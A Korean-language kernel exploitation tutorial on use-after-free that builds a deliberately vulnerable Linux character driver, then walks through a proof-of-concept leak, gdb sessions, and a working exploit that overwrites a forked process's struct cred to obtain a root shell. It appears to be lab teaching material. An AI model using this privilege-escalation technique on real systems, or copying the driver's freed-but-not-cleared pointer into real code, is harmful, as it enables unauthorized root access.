Excuse the ads! We need some help to keep our site up.

List

07.Use-After-Free(UAF)

Use-After-Free(UAF)

kmalloc, kfree

  • UAF를 실습하기 전에 Kernel 영역에 Heap 영역을 할당하는 함수에 대해 알아야 합니다.
    • kmalloc(), kfree() 함수는 Kernel 영역에 Heap 메모리를 할당, 해제하는 함수입니다.
    • 이 외에도 Kernel ram에 메모리를 할당받을 수 있는 다양한 함수들이 있습니다.
  • kmalloc()함수의 인자 값은 다음과 같습니다.
    • 첫번째 인자 값은 할당 할 메모리(Heap)의 크기를 전달 합니다.
    • 두번째 인자 값은 할당 할 메모리(Heap)의 유형을 전달 합니다.
      • Kernel ram에 메모리를 할당하기 위해 GFP_KERNEL flag를 사용합니다.
kmalloc()
void *kmalloc(size_t size, gfp_t flags);
  • kfree() 함수의 인자 값은 다음과 같습니다.
    • 첫번째 인자 값은 kmalloc에 의해 반환 된 포인터 주소를 전달 합니다.
kfree()
void kfree(const void * objp);

Example

Source code of module

chardev_ioctl()

  • KMALLOC 분기문을 이용하여 kmalloc() 함수를 호출합니다.
    • 메모리의 크기는 유저 프로그램으로 부터 전달 받은 값을 사용합니다.
      • info.size = (size_t)arg;
    • 할당된 메모리 포인터는 info.buf 변수에 저장됩니다.
      • info.buf = (char *)kmalloc(info.size, GFP_KERNEL);
  • KFREE 분기문을 이용하여 kfree() 함수를 호출합니다.

    • info.buf 변수에 저장된 값이 0이 아닐 경우에만 kfree() 함수가 실행됩니다.
      • if(info.buf)
    • kfree() 함수는 info.buf 변수에 저장된 영역을 해제합니다.
      • kfree(info.buf);
  • 취약성은 KFREE 분기문에서 발생합니다.
    • info.buf 변수에 저장된 영역을 해제 한 후 info.buf 변수의 값을 초기화 하지 않기 때문에 UAF 취약성 발생하게 됩니다.

chardev_write()

  • info.buf 변수에 저장된 값이 0이 아닐 경우 다음 코드를 실행합니다.
    • if(info.buf)
  • 유저 프로그램으로 부터 전달받은 info.size 값이 count 값 보다 큰 경우 다음 코드를 실행합니다.
    • if(info.size > count)
  • copy_from_user() 함수를 이용하여 사용자 공간(buf)의 데이터를 커널 공간(info.buf)으로 복사합니다.
    • copy_from_user(info.buf, buf, count)

chardev_read()

  • info.buf 변수에 저장된 값이 0이 아닐 경우 다음 코드를 실행합니다.

    • if(info.buf)

  • 유저 프로그램으로 부터 전달받은 info.size 값이 count 값 보다 큰 경우 다음 코드를 실행합니다.

    • if(info.size > count)

  • copy_to_user() 함수를 이용하여 커널 공간(info.buf)의 데이터를 사용자 공간(buf)으로 복사합니다.

    • copy_to_user(buf, info.buf, count)

chardev.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/sched.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <asm/current.h>
#include <linux/uaccess.h>
#include <linux/cred.h>
     
#include "chardev.h"
MODULE_LICENSE("Dual BSD/GPL");
     
#define DRIVER_NAME "chardev"
         
static const unsigned int MINOR_BASE = 0;
static const unsigned int MINOR_NUM  = 1;
static unsigned int chardev_major;
static struct cdev chardev_cdev;
static struct class *chardev_class = NULL;
    
static int     chardev_open(struct inode *, struct file *);
static int     chardev_release(struct inode *, struct file *);
static ssize_t chardev_read(struct file *, char *, size_t, loff_t *);
static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *);
static long chardev_ioctl(struct file *, unsigned int, unsigned long);
    
struct file_operations s_chardev_fops = {
    .open    = chardev_open,
    .release = chardev_release,
    .read    = chardev_read,
    .write   = chardev_write,
    .unlocked_ioctl = chardev_ioctl,
};
    
static int chardev_init(void)
{
    int alloc_ret = 0;
    int cdev_err = 0;
    int minor = 0;
    dev_t dev;
     
    printk("The chardev_init() function has been called.\n");
         
    alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME);
    if (alloc_ret != 0) {
        printk(KERN_ERR  "alloc_chrdev_region = %d\n", alloc_ret);
        return -1;
    }
    //Get the major number value in dev.
    chardev_major = MAJOR(dev);
    dev = MKDEV(chardev_major, MINOR_BASE);
     
    //initialize a cdev structure
    cdev_init(&chardev_cdev, &s_chardev_fops);
    chardev_cdev.owner = THIS_MODULE;
     
    //add a char device to the system
    cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM);
    if (cdev_err != 0) {
        printk(KERN_ERR  "cdev_add = %d\n", alloc_ret);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
     
    chardev_class = class_create(THIS_MODULE, "chardev");
    if (IS_ERR(chardev_class)) {
        printk(KERN_ERR  "class_create\n");
        cdev_del(&chardev_cdev);
        unregister_chrdev_region(dev, MINOR_NUM);
        return -1;
    }
     
    device_create(chardev_class, NULL, MKDEV(chardev_major, minor), NULL, "chardev%d", minor);
    return 0;
}
     
static void chardev_exit(void)
{
    int minor = 0;
    dev_t dev = MKDEV(chardev_major, MINOR_BASE);
         
    printk("The chardev_exit() function has been called.\n");
    
    device_destroy(chardev_class, MKDEV(chardev_major, minor));
     
    class_destroy(chardev_class);
    cdev_del(&chardev_cdev);
    unregister_chrdev_region(dev, MINOR_NUM);
}

static struct ioctl_info info;  
static int chardev_open(struct inode *inode, struct file *file)
{
    printk("The chardev_open() function has been called.\n");
    printk("Address of &info.buf : %p\n",&info.buf);
    info.buf=0;
    return 0;
}
     
static int chardev_release(struct inode *inode, struct file *file)
{
    printk("The chardev_close() function has been called.\n");
    return 0;
}
     
static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
    printk("The chardev_write() function has been called.");   
    if(info.buf){
        if(info.size > count){
            if(copy_from_user(info.buf, buf, count) != 0){
                return -EFAULT;
            }
        }
    }
    return count;
}
     
static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
    printk("The chardev_read() function has been called.\n");
    if (info.buf){
        if(info.size > count){
            if(copy_to_user(buf, info.buf, count) != 0){
                 return -EFAULT;
            }
        }
    }
    return count;
}
     
static long chardev_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    printk("The chardev_ioctl() function has been called.\n");
     
    switch (cmd) {
	case KMALLOC:
        if(!info.buf){
		    printk("Address of info.buf : %p\n",info.buf);
	        info.size = (size_t)arg;
		    info.buf = (char *)kmalloc(info.size, GFP_KERNEL);

		    if (!info.buf){
    		    printk("Error!\n");
		    }else{
		        printk("Address of info.buf : %p\n",info.buf);
		        printk("Success!\n");
		    }
        }
        break;
	case KFREE:
        if(info.buf){
	        printk("Call the kfree(). info.buf %p\n",info.buf);
            kfree(info.buf);
        }
        break;
    default:
        printk(KERN_WARNING "unsupported command %d\n", cmd); 
        return -EFAULT;
    }
    return 0;
}
    
module_init(chardev_init);
module_exit(chardev_exit);
chardev.h
#ifndef CHAR_DEV_H_
#define CHAR_DEV_H_
#include <linux/ioctl.h>
    
struct ioctl_info{
       unsigned long size;
       char *buf;
};
 
#define             IOCTL_MAGIC         'G'
#define             SET_DATA            _IOW(IOCTL_MAGIC, 2 ,struct ioctl_info)
#define             GET_DATA            _IOR(IOCTL_MAGIC, 3 ,struct ioctl_info)
#define             KMALLOC           	_IOW(IOCTL_MAGIC, 4, size_t)
#define             KFREE        	    _IO(IOCTL_MAGIC, 0)
#endif

Build & Setting

Makefile
obj-m = chardev.o
    
all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
    
clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Maek
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ make
make -C /lib/modules/4.4.0-31-generic/build M=/home/lazenca0x0/Kernel/Exploit/UAF modules
make[1]: Entering directory `/usr/src/linux-headers-4.4.0-31-generic'
  CC [M]  /home/lazenca0x0/Kernel/Exploit/UAF/chardev.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/lazenca0x0/Kernel/Exploit/UAF/chardev.mod.o
  LD [M]  /home/lazenca0x0/Kernel/Exploit/UAF/chardev.ko
make[1]: Leaving directory `/usr/src/linux-headers-4.4.0-31-generic'
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$
Setting
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ sudo insmod ./chardev.ko 
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ sudo chmod 666 /dev/chardev0 
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ 

Proof of Concept

PoC code

  • 다음 코드를 이용하여 "UAF" 취약성을 확인할 수 있습니다.

    • open() 함수를 이용하여 "/dev/chardev0" 파일을 열어, fd1변수에 파일 디스크립트를 정보를 저장합니다.

    • ioctl() 함수를 이용하여 커널에 128 byte의 Heap 메모리를 할당받습니다.

    • ioctl() 함수를 이용하여 앞에서 할당받은 Heap 메모리를 해제합니다.
    • read() 함수를 이용하여 메모리의 값을 읽어 옵니다.
      • 이때 읽어오는 메모리 영역은 앞에서 해제된 heap 메모리 영역이 됩니다.
      • 즉, UAF 취약성을 확인 할 수 있습니다.
PoC.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>
#include "chardev.h"

#define HEAP_SIZE 128

int main()
{
    int fd1,i,j;
    char info[HEAP_SIZE];

 
    if ((fd1 = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    if (ioctl(fd1, KMALLOC, HEAP_SIZE) < 0){
        printf("Error : SET_DATA.\n");
    }

    ioctl(fd1, KFREE);

    memset(info, 0, HEAP_SIZE);
    read(fd1,info,HEAP_SIZE - 1);

    for (i = 0; i < 8; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", info[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", info[i*16+j] & 0xff);
        printf("\n");
    }

    if (close(fd1) != 0){
        printf("Cannot close.\n");
    }

    return 0;
}

Debug

  • 다음과 같이 함수의 주소를 확인합니다.
    • chardev_ioctl : 0xffffffffc0199120
    • chardev_read : 0xffffffffc01990c0
    • chardev_write : 0xffffffffc0199060
Address of the chardev module
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ sudo cat /proc/kallsyms |grep chardev
ffffffffc0199000 t chardev_release	[chardev]
ffffffffc0199020 t chardev_open	[chardev]
ffffffffc019b480 b info	[chardev]
ffffffffc0199060 t chardev_write	[chardev]
ffffffffc01990c0 t chardev_read	[chardev]
ffffffffc0199120 t chardev_ioctl	[chardev]
ffffffffc0199210 t chardev_init	[chardev]
ffffffffc019b4a0 b chardev_cdev	[chardev]
ffffffffc019b508 b chardev_major	[chardev]
ffffffffc019b480 b __key.25752	[chardev]
ffffffffc019b490 b chardev_class	[chardev]
ffffffffc0199350 t chardev_exit	[chardev]
ffffffffc019b100 d __this_module	[chardev]
ffffffffc0199350 t cleanup_module	[chardev]
ffffffffc0199210 t init_module	[chardev]
ffffffffc019b000 d s_chardev_fops	[chardev]
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$
  • 다음과 같이 breakpointer를 설정합니다.

    • kmalloc() 함수 호출 전 : 0xffffffffc01991c5

    • kmalloc() 함수 호출 후 :0xffffffffc01991ca

    • kfree() 함수 호출 전 : 0xffffffffc019919d

    • kfree() 함수 호출 후 : 0xffffffffc01991a2

    • copy_to_user() 함수 호출 전 : 0xffffffffc0199102

    • copy_to_user() 함수 호출 후 : 0xffffffffc0199107

Breakpoint
0x0000000001000200 in ?? ()
(gdb) c
Continuing.
^C
Program received signal SIGINT, Interrupt.
native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50
50	in /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h
(gdb) x/50i 0xffffffffc0199120
   0xffffffffc0199120:	nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffffc0199125:	push   rbp
   0xffffffffc0199126:	xor    eax,eax
...
   0xffffffffc019917c:	mov    rsi,QWORD PTR [rip+0x2305]        # 0xffffffffc019b488
   0xffffffffc0199183:	test   rsi,rsi
   0xffffffffc0199186:	je     0xffffffffc0199175
   0xffffffffc0199188:	mov    rdi,0xffffffffc019a118
   0xffffffffc019918f:	xor    eax,eax
   0xffffffffc0199191:	call   0xffffffff81180972 <printk>
   0xffffffffc0199196:	mov    rdi,QWORD PTR [rip+0x22eb]        # 0xffffffffc019b488
   0xffffffffc019919d:	call   0xffffffff811dd600 <kfree>
   0xffffffffc01991a2:	xor    eax,eax
   0xffffffffc01991a4:	jmp    0xffffffffc0199166
   0xffffffffc01991a6:	xor    esi,esi
   0xffffffffc01991a8:	mov    rdi,0xffffffffc019a1b1
   0xffffffffc01991af:	xor    eax,eax
   0xffffffffc01991b1:	call   0xffffffff81180972 <printk>
   0xffffffffc01991b6:	mov    esi,0x24000c0
   0xffffffffc01991bb:	mov    rdi,r12
   0xffffffffc01991be:	mov    QWORD PTR [rip+0x22bb],r12        # 0xffffffffc019b480
   0xffffffffc01991c5:	call   0xffffffff811dcbe0 <__kmalloc>
   0xffffffffc01991ca:	test   rax,rax
   0xffffffffc01991cd:	mov    QWORD PTR [rip+0x22b4],rax        # 0xffffffffc019b488
(gdb) b *0xffffffffc01991c5
Breakpoint 1 at 0xffffffffc01991c5
(gdb) b *0xffffffffc01991ca
Breakpoint 2 at 0xffffffffc01991ca
(gdb) b *0xffffffffc019919d
Breakpoint 3 at 0xffffffffc019919d
(gdb) b *0xffffffffc01991a2
Breakpoint 4 at 0xffffffffc01991a2
(gdb) x/30i 0xffffffffc01990c0
   0xffffffffc01990c0:	nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffffc01990c5:	push   rbp
   0xffffffffc01990c6:	xor    eax,eax
   0xffffffffc01990c8:	mov    rdi,0xffffffffc019a0b8
...  
   0xffffffffc01990fd:	mov    edx,ebx
   0xffffffffc01990ff:	mov    rdi,r12
   0xffffffffc0199102:	call   0xffffffff813e09e0 <_copy_to_user>
   0xffffffffc0199107:	test   rax,rax
   0xffffffffc019910a:	je     0xffffffffc01990f5
   0xffffffffc019910c:	mov    rax,0xfffffffffffffff2
   0xffffffffc0199113:	jmp    0xffffffffc01990f8
   0xffffffffc0199115:	data16 nop WORD PTR cs:[rax+rax*1+0x0]
   0xffffffffc0199120:	nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffffc0199125:	push   rbp
(gdb) b *0xffffffffc0199102
Breakpoint 5 at 0xffffffffc0199102
(gdb) b *0xffffffffc0199107
Breakpoint 6 at 0xffffffffc0199107
(gdb) c
Continuing.
  • 디버깅을 위해 "PoC" 프로그램을 실행합니다.
Run the user program
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./PoC
  • 다음과 같이 kmalloc() 함수의 동작을 확인할 수 있습니다.
    • kernel 메모리에 128 byte의 Heap영역을 할당받습니다.
    • 해당 영역의 시작 주소는 0xffff880038074200 입니다.
Call kmalloc()
Breakpoint 1, 0xffffffffc01991c5 in ?? ()
(gdb) x/2i $rip
=> 0xffffffffc01991c5:	call   0xffffffff811dcbe0 <__kmalloc>
   0xffffffffc01991ca:	test   rax,rax
(gdb) i r rdi rsi
rdi            0x80                128
rsi            0x24000c0           37748928
(gdb) c
Continuing.

Breakpoint 2, 0xffffffffc01991ca in ?? ()
(gdb) i r rax
rax            0xffff880038074200  -131940455333376
(gdb) c
Continuing.
  • 다음과 같이 kfree() 함수의 동작을 확인할 수 있습니다.
    • kfree() 함수의 인자 값으로 앞에서 할당받은 Heap 영역의 시작 주소가 전달되며, 해당 영역은 해제됩니다.
Call kfree()
Breakpoint 3, 0xffffffffc019919d in ?? ()
(gdb) x/i $rip
=> 0xffffffffc019919d:	call   0xffffffff811dd600 <kfree>
(gdb) i r rdi
rdi            0xffff880038074200  -131940455333376
(gdb) x/16gx 0xffff880038074200
0xffff880038074200:	0xffff880038075b00	0x0000000000000000
0xffff880038074210:	0x0000000000000000	0x0000000000000000
0xffff880038074220:	0x0000000000000000	0x0000000000000000
0xffff880038074230:	0x0000000000000000	0x0000000000000000
0xffff880038074240:	0x0000000000000000	0x0000000000000000
0xffff880038074250:	0x0000000000000000	0x0000000000000000
0xffff880038074260:	0x0000000000000058	0x0000000000000000
0xffff880038074270:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 4, 0xffffffffc01991a2 in ?? ()
(gdb) x/16gx 0xffff880038074200
0xffff880038074200:	0xffff880038075100	0x0000000000000000
0xffff880038074210:	0x0000000000000000	0x0000000000000000
0xffff880038074220:	0x0000000000000000	0x0000000000000000
0xffff880038074230:	0x0000000000000000	0x0000000000000000
0xffff880038074240:	0x0000000000000000	0x0000000000000000
0xffff880038074250:	0x0000000000000000	0x0000000000000000
0xffff880038074260:	0x0000000000000058	0x0000000000000000
0xffff880038074270:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.
  • 다음과 같이 UAF 취약성을 확인할 수 있습니다.

    • _copy_to_user() 함수의 인자 값으로 해제된 Heap 영역의 시작 주소, User 프로그램의 메모리 주소가 전달 됩니다.

    • 즉, 이로 인해 해제된 메모리 영역의 값을 읽고, chardev_write 함수를 이용하여 값을 쓸 수 있게 됩니다.

Call copy_to_user()
Breakpoint 5, 0xffffffffc0199102 in ?? ()
(gdb) x/i $rip
=> 0xffffffffc0199102:	call   0xffffffff813e09e0 <_copy_to_user>
(gdb) i r rdi rsi
rdi            0x7ffee90494c0      140732807812288
rsi            0xffff880038074200  -131940455333376
(gdb) x/16gx 0x7ffee90494c0
0x7ffee90494c0:	0x0000000000000000	0x0000000000000000
0x7ffee90494d0:	0x0000000000000000	0x0000000000000000
0x7ffee90494e0:	0x0000000000000000	0x0000000000000000
0x7ffee90494f0:	0x0000000000000000	0x0000000000000000
0x7ffee9049500:	0x0000000000000000	0x0000000000000000
0x7ffee9049510:	0x0000000000000000	0x0000000000000000
0x7ffee9049520:	0x0000000000000000	0x0000000000000000
0x7ffee9049530:	0x0000000000000000	0x0000000000000000
(gdb) x/16gx 0xffff880038074200
0xffff880038074200:	0xffff880038074e80	0x0000000000000000
0xffff880038074210:	0x0000000000000000	0x0000000000000000
0xffff880038074220:	0x0000000000000000	0x0000000000000000
0xffff880038074230:	0x0000000000000000	0x0000000000000000
0xffff880038074240:	0x0000000000000000	0x0000000000000000
0xffff880038074250:	0x0000000000000000	0x0000000000000000
0xffff880038074260:	0x0000000000000058	0x0000000000000000
0xffff880038074270:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 6, 0xffffffffc0199107 in ?? ()
(gdb) x/16gx 0x7ffee90494c0
0x7ffee90494c0:	0xffff880038074e80	0x0000000000000000
0x7ffee90494d0:	0x0000000000000000	0x0000000000000000
0x7ffee90494e0:	0x0000000000000000	0x0000000000000000
0x7ffee90494f0:	0x0000000000000000	0x0000000000000000
0x7ffee9049500:	0x0000000000000000	0x0000000000000000
0x7ffee9049510:	0x0000000000000000	0x0000000000000000
0x7ffee9049520:	0x0000000000000058	0x0000000000000000
0x7ffee9049530:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.
  • UAF 취약성에 의해 복사된 Kernel 메모리의 값이 출력되었습니다.
Checked for UAF Vulnerabilities
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./PoC 
80 4e 07 38 00 88 ff ff 00 00 00 00 00 00 00 00  | ?N8???
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | X
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$

Exploit method

  • ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
  • UAF 취약성을 사용할 수 있는 환경을 만듭니다.
    • kmalloc() 함수를 이용하여 원하는 크기의 힙 메모리 영역을 할당 받습니다.
    • kfree() 함수를 이용하여 할당받은 힙 메모리 영역을 해제합니다.
  • User 프로그램에서 fork() 함수를 이용하여 자식프로세스를 생성합니다.
    • fork() 함수에 의해 새로운 프로세스가 실행되며, 해당 프로세스의 자격증명을 위해 생성되는 struct cred가 UAF 영역(?)에 할당됩니다.
  • UAF취약성을 이용하여 struct cred의 값을 변경합니다.
  • 공격을 위해 알아야 할 정보는 다음과 같습니다.
  • "struct cred"의 크기

Size of "cred" structure

  • 다음과 같이 gdb를 통해 "cred" 구조체의 크기를 확인할 수 있습니다.
    • cred 구조체의 크기는 168입니다.
p sizeof(struct cred)
(gdb) p sizeof(struct cred)
$1 = 168
(gdb) 

Exploit code - 1

Exploit code

  • 다음과 같이 UAF 취약성을 이용하여 Shell을 권한상승을 할 수 있습니다.
    • open() 함수를 이용하여 취약성이 존재하는 드라이버 파일을 엽니다.
    • ioctl() 함수를 이용하여 cred 구조체의 크기 만큼의 Heap을 할당 받습니다.
    • ioctl() 함수를 이용하여 할당은 메모리를 해제합니다.
    • fork() 함수를 이용하여 자식 프로세스를 생성합니다.
      • 이로 인해 앞에서 해제한 영역에 새로운 프로세스의 cred 구조체의 정보가(자격증명 정보) 저장됩니다.
    • write() 함수를 이용하여 cred 구조체의 정보를 수정합니다.
    • system() 함수를 이용하여 "/bin/sh"를 실행합니다.
exploit-1.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>
#include "chardev.h"
  
int main()
{
    int fd1,fd2;
 
    if ((fd1 = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    if (ioctl(fd1, KMALLOC, 168) < 0){
        printf("Error : SET_DATA.\n");
    }

    ioctl(fd1, KFREE);
  
    int pid = fork();
    printf("PID %d\n",pid);
    if(pid < 0){
        puts("[*] fork error!");
        exit(0);
    }else if(pid == 0){
	char zeros[30] = {0};
	write(fd1, zeros, 28);

	if(getuid() == 0){
		puts("[+] root now.");
		system("/bin/sh");
		exit(0);
	}else{
		printf("UID : %d\n",getuid());
	}
    }else{
	wait(1);
    }

    if (close(fd1) != 0){
        printf("Cannot close.\n");
    }

    return 0;
}
Get root
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./exploit-1 
PID 3236
PID 0
[+] root now.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(lazenca0x0)
# 

Debug

  • 다음과 같이 Breakpoint를 설정합니다.
    • copy_from_user() 함수 호출 전: 0xffffffffc01990a2
    • copy_from_user() 함수 호출 후: 0xffffffffc01990a7
Breakpoint
(gdb) c
Continuing.
^C
Program received signal SIGINT, Interrupt.
native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50
50	in /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h
(gdb) x/30i 0xffffffffc0199060
   0xffffffffc0199060:	nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffffc0199065:	push   rbp
   0xffffffffc0199066:	mov    rdi,0xffffffffc019a088
   0xffffffffc019906d:	xor    eax,eax
   0xffffffffc019906f:	mov    rbp,rsp
   0xffffffffc0199072:	push   r12
   0xffffffffc0199074:	mov    r12,rsi
   0xffffffffc0199077:	push   rbx
   0xffffffffc0199078:	mov    rbx,rdx
   0xffffffffc019907b:	call   0xffffffff81180972 <printk>
   0xffffffffc0199080:	mov    rdi,QWORD PTR [rip+0x2401]        # 0xffffffffc019b488
   0xffffffffc0199087:	test   rdi,rdi
   0xffffffffc019908a:	je     0xffffffffc0199095
   0xffffffffc019908c:	cmp    QWORD PTR [rip+0x23ed],rbx        # 0xffffffffc019b480
   0xffffffffc0199093:	ja     0xffffffffc019909d
   0xffffffffc0199095:	mov    rax,rbx
   0xffffffffc0199098:	pop    rbx
   0xffffffffc0199099:	pop    r12
   0xffffffffc019909b:	pop    rbp
   0xffffffffc019909c:	ret    
   0xffffffffc019909d:	mov    edx,ebx
   0xffffffffc019909f:	mov    rsi,r12
   0xffffffffc01990a2:	call   0xffffffff813e0a10 <_copy_from_user>
   0xffffffffc01990a7:	test   rax,rax
   0xffffffffc01990aa:	je     0xffffffffc0199095
   0xffffffffc01990ac:	mov    rax,0xfffffffffffffff2
   0xffffffffc01990b3:	jmp    0xffffffffc0199098
   0xffffffffc01990b5:	data16 nop WORD PTR cs:[rax+rax*1+0x0]
   0xffffffffc01990c0:	nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffffc01990c5:	push   rbp
(gdb) b *0xffffffffc01990a2
Breakpoint 7 at 0xffffffffc01990a2
(gdb) b *0xffffffffc01990a7
Breakpoint 8 at 0xffffffffc01990a7
(gdb) c
Continuing.
  • 다음과 같이 UAF 취약성과 자격증명 변경을 확인할 수 있습니다.
    • kmalloc() 함수에 의해 할당받은 Heap 영역의 주소는 0xffff88003a3dc000 입니다.

    • kfree() 함수에 의해 해당 영역은 해제됩니다.

      • 메모리 영역은 해제되었으나, 전역변수에 저장된 주소 값을 초기화되지 않았기 때문에 UAF 취약성이 발생하게 됩니다.

    • fork() 함수에 의해 자식 프로세스가 생성되면, 이로 인해 앞에서 해제한 메모리 영역(0xffff88003a3dc000)에 새로운 프로세스의 자격증명 정보가 보관됩니다.

UAF
Breakpoint 1, 0xffffffffc01991c5 in ?? ()
(gdb) i r rdi rsi
rdi            0xa8                168
rsi            0x24000c0           37748928
(gdb) c
Continuing.

Breakpoint 2, 0xffffffffc01991ca in ?? ()
(gdb) i r rax
rax            0xffff88003a3dc000  -131940418207744
(gdb) c
Continuing.

Breakpoint 3, 0xffffffffc019919d in ?? ()
(gdb) i r rdi
rdi            0xffff88003a3dc000  -131940418207744
(gdb) x/16gx 0xffff88003a3dc000
0xffff88003a3dc000:	0xffff88003a3dcd80	0x0000000000000000
0xffff88003a3dc010:	0x00000000f0000042	0x0000000000000000
0xffff88003a3dc020:	0x0000000000000000	0x0000000100000000
0xffff88003a3dc030:	0x0000000000000000	0x0000000800000001
0xffff88003a3dc040:	0x0000000100000008	0xffffffff8139e9a0
0xffff88003a3dc050:	0xffff8800374fbd56	0x0000000000000000
0xffff88003a3dc060:	0x0000000000000000	0x0000000000000000
0xffff88003a3dc070:	0x0000000100010001	0xffff88003a3dc088
(gdb) c
Continuing.

Breakpoint 4, 0xffffffffc01991a2 in ?? ()
(gdb) x/16gx 0xffff88003a3dc000
0xffff88003a3dc000:	0xffff88003a3dcf00	0x0000000000000000
0xffff88003a3dc010:	0x00000000f0000042	0x0000000000000000
0xffff88003a3dc020:	0x0000000000000000	0x0000000100000000
0xffff88003a3dc030:	0x0000000000000000	0x0000000800000001
0xffff88003a3dc040:	0x0000000100000008	0xffffffff8139e9a0
0xffff88003a3dc050:	0xffff8800374fbd56	0x0000000000000000
0xffff88003a3dc060:	0x0000000000000000	0x0000000000000000
0xffff88003a3dc070:	0x0000000100010001	0xffff88003a3dc088
(gdb) c
Continuing.

Breakpoint 7, 0xffffffffc01990a2 in ?? ()
(gdb) x/i $rip
=> 0xffffffffc01990a2:	call   0xffffffff813e0a10 <_copy_from_user>
(gdb) i r rdi rsi
rdi            0xffff88003a3dc000  -131940418207744
rsi            0x7ffc461cd000      140721484779520
(gdb) x/16gx 0xffff88003a3dc000
0xffff88003a3dc000:	0x000003e800000002	0x000003e8000003e8
0xffff88003a3dc010:	0x000003e8000003e8	0x000003e8000003e8
0xffff88003a3dc020:	0x00000000000003e8	0x0000000000000000
0xffff88003a3dc030:	0x0000000000000000	0x0000000000000000
0xffff88003a3dc040:	0x0000003fffffffff	0x0000000000000000
0xffff88003a3dc050:	0x0000000000000000	0xffff880015524c00
0xffff88003a3dc060:	0x0000000000000000	0x0000000000000000
0xffff88003a3dc070:	0x0000000000000000	0xffff8800075db7e0
(gdb)
  • 다음과 같이 User 프로그램에 의해 할당받고 해제된 Heap메모리 영역에 새로운 프로세스의 자격증명 정보가 저장된 것을 확인할 수 있습니다.
    • 새로운 프로세스의 uid, gid, suid 정보를 확인할 수 있습니다.
    • 해당 정보들은 User 프로그램에서 Write()함수를 이용하여 변경할 수 있습니다.
      • User Program[Call write()] → Driver[Call chardev_write() → Call copy_from_user()]
      • 해당 프로세스의 uid,gid,suid,등의 정보가 0으로 변경된 것을 확인할 수 있습니다.
      • 즉, 이로 인해 해당 프로세스의 권한이 root로 변경되었습니다.
Change credentials
(gdb) p *(struct cred*)0xffff88003a3dc000
$4 = {usage = {counter = 2}, uid = {val = 1000}, gid = {val = 1000}, suid = {val = 1000}, sgid = {val = 1000}, euid = {val = 1000}, egid = {val = 1000}, fsuid = {val = 1000}, fsgid = {val = 1000}, securebits = 0, 
  cap_inheritable = {cap = {0, 0}}, cap_permitted = {cap = {0, 0}}, cap_effective = {cap = {0, 0}}, cap_bset = {cap = {4294967295, 63}}, cap_ambient = {cap = {0, 0}}, jit_keyring = 0 '\000', 
  session_keyring = 0xffff880015524c00, process_keyring = 0x0 <irq_stack_union>, thread_keyring = 0x0 <irq_stack_union>, request_key_auth = 0x0 <irq_stack_union>, security = 0xffff8800075db7e0, 
  user = 0xffff8800263a5200, user_ns = 0xffffffff81c44ae0 <init_user_ns>, group_info = 0xffff88001564b5c0, rcu = {next = 0x0 <irq_stack_union>, func = 0x0 <irq_stack_union>}}
(gdb) x/16gx 0x7ffc461cd000
